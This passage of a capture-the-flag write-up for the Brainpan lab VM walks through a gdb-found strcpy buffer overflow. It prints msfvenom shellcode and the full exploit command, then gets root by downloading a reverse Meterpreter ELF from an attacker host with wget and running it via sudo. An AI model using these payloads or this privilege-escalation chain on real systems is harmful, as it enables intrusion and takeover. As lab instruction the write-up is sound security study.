   0x08048551 <+25>:	mov    %edx,0x4(%esp)
   0x08048555 <+29>:	mov    %eax,(%esp)
   0x08048558 <+32>:	call   0x80483cc <printf@plt>
   0x0804855d <+37>:	mov    $0x0,%eax
   0x08048562 <+42>:	jmp    0x804859d <main+101>
   0x08048564 <+44>:	mov    $0x804867e,%eax
   0x08048569 <+49>:	mov    %eax,(%esp)
   0x0804856c <+52>:	call   0x80483cc <printf@plt>
   0x08048571 <+57>:	mov    0xc(%ebp),%eax
   0x08048574 <+60>:	add    $0x4,%eax
   0x08048577 <+63>:	mov    (%eax),%eax
   0x08048579 <+65>:	mov    %eax,(%esp)
   0x0804857c <+68>:	call   0x80484b4 <validate>
   0x08048581 <+73>:	mov    %eax,0x1c(%esp)
   0x08048585 <+77>:	cmpl   $0x0,0x1c(%esp)
   0x0804858a <+82>:	je     0x8048598 <main+96>
   0x0804858c <+84>:	movl   $0x8048692,(%esp)
   0x08048593 <+91>:	call   0x80483dc <puts@plt>
   0x08048598 <+96>:	mov    $0x0,%eax
   0x0804859d <+101>:	leave  
   0x0804859e <+102>:	ret    
End of assembler dump.
(gdb) 

I can see here a call to a function called “validate” 0x0804857c <+68>: call 0x80484b4 <validate>

Let’s disassemble it:

(gdb) disas validate
Dump of assembler code for function validate:
   0x080484b4 <+0>:	push   %ebp
   0x080484b5 <+1>:	mov    %esp,%ebp
   0x080484b7 <+3>:	push   %ebx
   0x080484b8 <+4>:	sub    $0x84,%esp
   0x080484be <+10>:	movl   $0x0,-0xc(%ebp)
   0x080484c5 <+17>:	movl   $0x0,-0xc(%ebp)
   0x080484cc <+24>:	jmp    0x8048508 <validate+84>
   0x080484ce <+26>:	mov    -0xc(%ebp),%eax
   0x080484d1 <+29>:	add    0x8(%ebp),%eax
   0x080484d4 <+32>:	movzbl (%eax),%eax
   0x080484d7 <+35>:	cmp    $0x46,%al
   0x080484d9 <+37>:	jne    0x8048504 <validate+80>
   0x080484db <+39>:	mov    -0xc(%ebp),%eax
   0x080484de <+42>:	add    0x8(%ebp),%eax
   0x080484e1 <+45>:	movzbl (%eax),%eax
   0x080484e4 <+48>:	movsbl %al,%edx
   0x080484e7 <+51>:	mov    $0x8048660,%eax
   0x080484ec <+56>:	mov    %edx,0x4(%esp)
   0x080484f0 <+60>:	mov    %eax,(%esp)
   0x080484f3 <+63>:	call   0x80483cc <printf@plt>
   0x080484f8 <+68>:	movl   $0x1,(%esp)
   0x080484ff <+75>:	call   0x80483ec <exit@plt>
   0x08048504 <+80>:	addl   $0x1,-0xc(%ebp)
   0x08048508 <+84>:	mov    -0xc(%ebp),%ebx
   0x0804850b <+87>:	mov    0x8(%ebp),%eax
   0x0804850e <+90>:	mov    %eax,(%esp)
   0x08048511 <+93>:	call   0x80483ac <strlen@plt>
   0x08048516 <+98>:	cmp    %eax,%ebx
   0x08048518 <+100>:	jb     0x80484ce <validate+26>
   0x0804851a <+102>:	mov    0x8(%ebp),%eax
   0x0804851d <+105>:	mov    %eax,0x4(%esp)
   0x08048521 <+109>:	lea    -0x70(%ebp),%eax
   0x08048524 <+112>:	mov    %eax,(%esp)
   0x08048527 <+115>:	call   0x80483bc <strcpy@plt>
   0x0804852c <+120>:	lea    -0x70(%ebp),%eax
   0x0804852f <+123>:	add    $0x84,%esp
   0x08048535 <+129>:	pop    %ebx
   0x08048536 <+130>:	pop    %ebp
   0x08048537 <+131>:	ret    
End of assembler dump.

We can see that the function will call ‘strcpy’ at 0x08048527 <+115>: call 0x80483bc <strcpy@plt>

This very likely contains a buffer overflow. We can test this with overly long input to the application:

(gdb) run $(python -c 'print "A" * 1000')
Starting program: /root/vulnhub/brainpan/validate $(python -c 'print "A" * 1000')

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

Just as suspected. We are able to overwrite addresses in memory.

A quick peek will at the registers will show us exactly how bad (good) it is:

(gdb) info registers 
eax            0xbfffeee8	-1073746200
ecx            0xbffff5c0	-1073744448
edx            0xbffff2cd	-1073745203
ebx            0x41414141	1094795585
esp            0xbfffef60	0xbfffef60
ebp            0x41414141	0x41414141
esi            0x2	2
edi            0xb7f51000	-1208676352
eip            0x41414141	0x41414141
eflags         0x10282	[ SF IF RF ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51

And our “A”s are on the stack as well:

(gdb) x/s $esp
0xbfffef60:	'A' <repeats 200 times>...

Good! Now, as in our previous example with the windows binary I need to find where the overwrite takes place.

(gdb) run $(`locate pattern_create` -l 1000)
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/vulnhub/brainpan/validate $(`locate pattern_create` -l 1000)

Program received signal SIGSEGV, Segmentation fault.
0x39644138 in ?? ()
(gdb) 

So 0x39644138 or ‘38 41 64 39’ or ‘8Ad9’. The pattern_offset script finds this for us again:

root@kali:~# pattern_offset.rb -q '8Ad9'
[*] Exact match at offset 116

Our EIP overwrite is at 116. I validate it like before:

(gdb) run $(python -c 'print(("A" * 116) + ("B" * 4) + ("C" * 80))')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/vulnhub/brainpan/validate $(python -c 'print(("A" * 116) + ("B" * 4) + ("C" * 80))')

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()

Now to find something to put into EIP that will make it call our shellcode. This is a little trickier.

There doesn’t seem to be a suitable JMP ESP for us:

root@kali:~/vulnhub/brainpan# objdump -d validate | grep 'jmp'
 8048382:	ff 25 fc 9f 04 08    	jmp    *0x8049ffc
 804838c:	ff 25 00 a0 04 08    	jmp    *0x804a000
 8048397:	e9 e0 ff ff ff       	jmp    804837c <.plt>
 804839c:	ff 25 04 a0 04 08    	jmp    *0x804a004
 80483a7:	e9 d0 ff ff ff       	jmp    804837c <.plt>
 80483ac:	ff 25 08 a0 04 08    	jmp    *0x804a008
 80483b7:	e9 c0 ff ff ff       	jmp    804837c <.plt>
 80483bc:	ff 25 0c a0 04 08    	jmp    *0x804a00c
 80483c7:	e9 b0 ff ff ff       	jmp    804837c <.plt>
 80483cc:	ff 25 10 a0 04 08    	jmp    *0x804a010
 80483d7:	e9 a0 ff ff ff       	jmp    804837c <.plt>
 80483dc:	ff 25 14 a0 04 08    	jmp    *0x804a014
 80483e7:	e9 90 ff ff ff       	jmp    804837c <.plt>
 80483ec:	ff 25 18 a0 04 08    	jmp    *0x804a018
 80483f7:	e9 80 ff ff ff       	jmp    804837c <.plt>
 80484cc:	eb 3a                	jmp    8048508 <validate+0x54>
 8048562:	eb 39                	jmp    804859d <main+0x65>

None of the jmps point to “esp” but rather to miscellaneous addresses.

Luckily, if we examine our registers at the crash we see we control EAX. If we write our shellcode into EAX, and then jump or call EAX, our code will run.

Let’s look for a call to eax:

root@kali:~# objdump -d validate | grep 'call' | grep 'eax'
 8048468:	ff 14 85 14 9f 04 08 	call   *0x8049f14(,%eax,4)
 80484af:	ff d0                	call   *%eax
 804862b:	ff d0                	call   *%eax

Great! There are two of them for our choosing. 080484af and 0804862b

I use msfvenom to generate a piece shellcode to open a local shell:

root@kali:~# msfvenom -p linux/x86/exec CMD=/bin/sh -b "\x00" -f c 
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 70 (iteration=0)
x86/shikata_ga_nai chosen with final size 70
Payload size: 70 bytes
Final size of c file: 319 bytes
unsigned char buf[] = 
"\xbd\xe5\x1e\xf2\xdc\xd9\xcf\xd9\x74\x24\xf4\x58\x2b\xc9\xb1"
"\x0b\x83\xc0\x04\x31\x68\x11\x03\x68\x11\xe2\x10\x74\xf9\x84"
"\x43\xdb\x9b\x5c\x5e\xbf\xea\x7a\xc8\x10\x9e\xec\x08\x07\x4f"
"\x8f\x61\xb9\x06\xac\x23\xad\x11\x33\xc3\x2d\x0d\x51\xaa\x43"
"\x7e\xe6\x44\x9c\xd7\x5b\x1d\x7d\x1a\xdb";

And I will also need to pad the payload with NOPs to reach the original length that caused the crash.

So here is the python command we will use as the input to the program:

$(python -c 'print("\xbd\xe5\x1e\xf2\xdc\xd9\xcf\xd9\x74\x24\xf4\x58\x2b\xc9\xb1\x0b\x83\xc0\x04\x31\x68\x11\x03\x68\x11\xe2\x10\x74\xf9\x84\x43\xdb\x9b\x5c\x5e\xbf\xea\x7a\xc8\x10\x9e\xec\x08\x07\x4f\x8f\x61\xb9\x06\xac\x23\xad\x11\x33\xc3\x2d\x0d\x51\xaa\x43\x7e\xe6\x44\x9c\xd7\x5b\x1d\x7d\x1a\xdb"+("\x90"*46)+"\x2b\x86\x04\x08"+("C"*80))')

Will it work?

puck@brainpan:/home/puck$ /usr/local/bin/validate $(python -c 'print("\xbd\xe5\x1e\xf2\xdc\xd9\xcf\xd9\x74\x24\xf4\x58\x2b\xc9\xb1\x0b\x83\xc0\x04\x31\x68\x11\x03\x68\x11\xe2\x10\x74\xf9\x84\x43\xdb\x9b\x5c\x5e\xbf\xea\x7a\xc8\x10\x9e\xec\x08\x07\x4f\x8f\x61\xb9\x06\xac\x23\xad\x11\x33\xc3\x2d\x0d\x51\xaa\x43\x7e\xe6\x44\x9c\xd7\x5b\x1d\x7d\x1a\xdb"+("\x90"*46)+"\x2b\x86\x04\x08"+("C"*80))')
<x7d\x1a\xdb"+("\x90"*46)+"\x2b\x86\x04\x08"+("C"*80))')
$ whoami
whoami
anansi

Ok, we pivoted to the “anansi” user. Now let’s get to root!

Getting to root

Now that I am “anansi” I can modify the anansi_util file in my home directory, then as “puck” run it with sudo privileges.

First I have to create a sufficiently epic payload to use. Why not a reverse Meterpreter?

root@kali:~# msfvenom -p linux/x86/meterpreter_reverse_tcp LHOST=192.168.128.130 LPORT=4444 -f elf -o evil_file
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 772828 bytes
Final size of elf file: 772828 bytes
Saved as: evil_file

I serve a temporary HTTP server on my Kali machine, and the use wget on the brainpan manchine to download the payload:

$ wget 'http://192.168.128.130/evil_file'
wget 'http://192.168.128.130/evil_file'
--2017-08-20 15:13:49--  http://192.168.128.130/evil_file
Connecting to 192.168.128.130:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 772828 (755K) [application/octet-stream]
Saving to: `evil_file'

100%[======================================>] 772,828     --.-K/s   in 0.08s   

2017-08-20 15:13:49 (8.69 MB/s) - `evil_file' saved [772828/772828]

Now all I do is move it to overwrite the anansi_util file:

$ mv evil_file /home/anansi/bin/anansi_util
mv evil_file /home/anansi/bin/anansi_util

Then setup a Metasploit listener to catch the reverse Meterpreter connection.

root@kali:~# msfconsole -q
msf > use exploit/multi/handler
msf exploit(handler) > set payload linux/x86/meterpreter_reverse_tcp
payload => linux/x86/meterpreter_reverse_tcp
msf exploit(handler) > set LHOST 192.168.128.130
LHOST => 192.168.128.130
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) > run

[*] Started reverse TCP handler on 192.168.128.130:4444 

Run the new file with sudo:

puck@brainpan:/home/puck$ sudo /home/anansi/bin/anansi_util
sudo /home/anansi/bin/anansi_util

And enjoy my root meterpreter session!

[*] Meterpreter session 1 opened (192.168.128.130:4444 -> 192.168.128.133:46998) at 2017-08-20 17:26:27 -0500

meterpreter > shell
Process 2409 created.
Channel 1 created.
id
uid=0(root) gid=0(root) groups=0(root)
python -c 'import pty;pty.spawn("/bin/bash")'
root@brainpan:/home/puck# cd ~
cd ~
root@brainpan:~# ls -l
ls -l
total 4
-rw-r--r-- 1 root root 564 Mar  7  2013 b.txt
root@brainpan:~# cat /root/b.txt
cat /root/b.txt
_|                            _|                                        
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|  
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|                          
                                            _|


                                              http://www.techorganic.com 

Awesome. This was one of the most fun challenges I’ve taken on in a while.

I look forward to doing more of these in the future. Thanks for reading!

Stay tuned,

EOF